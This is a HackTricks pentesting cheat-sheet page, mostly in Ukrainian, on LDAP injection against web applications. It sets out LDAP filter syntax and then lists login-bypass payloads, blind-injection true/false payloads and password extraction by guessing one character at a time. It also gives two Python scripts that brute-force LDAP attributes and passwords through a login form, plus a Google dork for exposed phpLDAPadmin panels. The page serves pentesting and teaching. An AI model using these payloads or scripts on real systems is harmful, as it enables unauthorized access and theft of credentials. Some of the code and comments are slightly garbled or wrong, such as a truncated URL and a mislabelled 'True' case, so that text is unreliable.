LDAP Injection

Внедрення LDAP

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви зацікавлені в кар'єрі хакера та хочете взламати невзламне - ми шукаємо співробітників! (вимагається вільне володіння польською мовою, як письмово, так і усно).

Внедрення LDAP

LDAP

Якщо ви хочете дізнатися, що таке LDAP, перейдіть наступну сторінку:

page389, 636, 3268, 3269 - Pentesting LDAP

Внедрення LDAP - це атака на веб-додатки, які створюють оператори LDAP з введення користувача. Це відбувається, коли додаток не відфільтровує належним чином введення, що дозволяє зловмисникам маніпулювати операторами LDAP через локальний проксі, що потенційно може призвести до несанкціонованого доступу або маніпулювання даними.

Фільтр = ( filtercomp ) Filtercomp = and / or / not / item And = & filterlist Or = |filterlist Not = ! filter Filterlist = 1*filter Item= simple / present / substring Simple = attr filtertype assertionvalue Filtertype = '=' / '~=' / '>=' / '<=' Present = attr = * Substring = attr ”=” [initial] * [final] Initial = assertionvalue Final = assertionvalue (&) = Absolute TRUE (|) = Absolute FALSE

Наприклад: (&(!(objectClass=Impresoras))(uid=s*)) (&(objectClass=user)(uid=*))

Ви можете отримати доступ до бази даних, яка може містити інформацію різних типів.

OpenLDAP: Якщо надходять 2 фільтри, виконується лише перший. ADAM або Microsoft LDS: З 2 фільтрами вони видають помилку. SunOne Directory Server 5.0: Виконує обидва фільтри.

Дуже важливо відправляти фільтр з правильним синтаксисом, інакше буде викинута помилка. Краще відправляти лише 1 фільтр.

Фільтр повинен починатися з: & або | Приклад: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*)) VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Потім: (&(objectClass=*)(ObjectClass=*)) буде першим фільтром (виконуваним).

Ухилення від входу

LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Таким чином, можливо, що незалежно від того, що ви вставляєте у пароль, він буде зашифрований.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Списки

Сліпа LDAP ін'єкція

Ви можете примусити відповіді False або True, щоб перевірити, чи повертаються які-небудь дані та підтвердити можливу сліпу LDAP ін'єкцію:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Витягнути дані

Ви можете перебирати символи ASCII: літери, цифри та символи:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Сценарії

Виявлення дійсних полів LDAP

Об'єкти LDAP зазвичай містять кілька атрибутів, які можуть бути використані для збереження інформації. Ви можете спробувати перебрати їх всі, щоб видобути цю інформацію. Ви можете знайти список типових атрибутів LDAP тут.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

Спеціальна сліпа LDAP ін'єкція (без "*")

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google Dorks

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

Додаткові Payloads

Якщо вас цікавить кар'єра хакера і взламати невзламне - ми шукаємо співробітників! (вимагається вільне письмо та мовлення польською).

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated